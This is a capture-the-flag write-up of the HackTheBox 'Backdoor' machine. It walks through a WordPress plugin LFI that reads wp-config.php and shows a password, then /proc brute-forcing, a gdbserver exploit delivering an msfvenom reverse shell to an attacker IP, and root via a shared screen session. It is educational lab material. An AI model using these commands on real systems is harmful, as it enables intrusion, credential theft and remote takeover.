> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/backdoor-hackthebox-writeup.md).
# Backdoor HackTheBox Writeup
Backdoor HackTheBox Easy Linux machine writeup covering WordPress Local File Inclusion Vulnerability (LFI), LFI to RCE (Abusing /proc/PID/cmdline), Gdbserver RCE Vulnerability, Abusing Screen (Privile
{% hint style="warning" %}
**Skills:**
* WordPress Local File Inclusion Vulnerability (LFI)
* LFI to RCE (Abusing /proc/PID/cmdline)
* Gdbserver RCE Vulnerability
* Abusing Screen (Privilege Escalation) (Session synchronization)
{% endhint %}
## Reconnaissance
**Workspace Setup:**
Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.
**VPN Connectivity Check**
Check VPN connectivity to ensure stable communication with the target machine.
**Open Port Discovery with Nmap:**
Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:
```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.125 -oG allPorts
```
**Open Port Analysis with extractPorts:**
Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (22,80,1337)
**Port Version Scan with Nmap:**
Use Nmap to scan service versions and save the output in the "targeted" file:
```bash
nmap -sCV -p22,80,1337 10.10.11.125 -oN targeted
```
To resolve domain names into IP addresses via DNS, insert the domain name associated with its IP address into the `/etc/hosts` file.
### Port 80 - WordPress
**WordPress identification:**
With the **WhatWeb** tool, the service on port 80 is identified as WordPress.
**User enumeration:**
A valid user (admin) is discovered via a brute force attack:
```bash
wpscan --url http://backdoor.htb/ -e u
```
**Enumeration of directories with Gobuster:**
Directory search:
```bash
gobuster dir -u http://backdoor.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```
## Vulnerability Ebook-Download - LFI
Search **wp-content/plugins** to discover active plugins:
```
/wp-content/plugins
```
The **ebook-download** plugin presents an LFI vulnerability exploited via:
```
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
```
This query allows you to download arbitrary files. By recovering the `wp-config.php` file
We get the following information:
* `wordpressuser`
* `MQYBJSaD#DxG6qbm`
This information does not allow you to connect to the `wp-admin` interface,
## Exploitation LFI
**Listing of sensitive files:**
List system users via /etc/passwd:
```bash
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/
```
Attempts to recover the private SSH key of user `user`:
```bash
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa"
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa.pub"
```
These attempts probably fail due to restricted permissions on these files.
### **LFI - Proc**
**Process exploration**
Creating a Python script to extract process information by exploring `/proc/[PID]/cmdline`:
```python
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb
def def_handler(sig, frame):
print("/n/n[+]] Exiting.../n")
sys.exit(1)
# Ctrl + c
signal.signal(signal.SIGINT, def_handler)
# Global Variables
main_url = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
def makeRequest():
# /proc/PID/cmdline
p1 = log.progress("Brute Force Attack")
p1.status("Starting Brute Force Attack")
sleep(2)
for i in range(1, 1000):
p1.status("Trying with PATH /proc/%s/cmdline" % str(i))
url = main_url + "/proc/" + str(i) + "/cmdline"
r = requests.get(url)
if len(r.content) > 82:
print("-------------------------------------------------------------------------------------")
log.info("PATH: /proc/%s/cmdline" % str(i))
log.info("Total length: %s" %len(r.content))
print(r.content)
print("-------------------------------------------------------------------------------------")
if __name__ == '__main__':
makeRequest()
```
By analyzing the processes, port 1337 is identified as a **gdbserver** server.
## Port 1337 - gdbserver
An exploit for gdbserver is available on **Searchsploit**:
**gdbserver exploitation:**
```bash
searchsploit -m linux/remote/50539.py
```
1. Generate a reverse shell:
```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 PrependFork=true -o rev.bin
```
2. Start a listener on port 443:
```bash
nc -nvlp 443
```
3. Run the exploit:
```bash
python3 exploit.py 10.10.11.125:1337 rev.bin
```
Process the interactive shell for more stability:
```bash
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```
### Flag User.txt :)
## Privilege Escalation
### SUID - Screen:
#### SUID Binary Identification
We will search for files that have the SUID bit enabled on the system using the following command:
```bash
find / -perm -4000 2>/dev/null
```
#### Screen process analysis
To examine running Screen related processes, we use the following command:
```bash
ps -aux | grep "screen"
```
We find the following process running:
{% code overflow="wrap" %}
```bash
/bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root /;; done
```
{% endcode %}
The above process shows that Screen is configured to create a root session if the `/var/run/screen/S-root/` folder is empty. With this setup we can exploit Screen to gain root access.
```bash
screen -x root/
```
### Flag root.txt :)
After accessing the Screen session as root, you now have administrator privileges.
---
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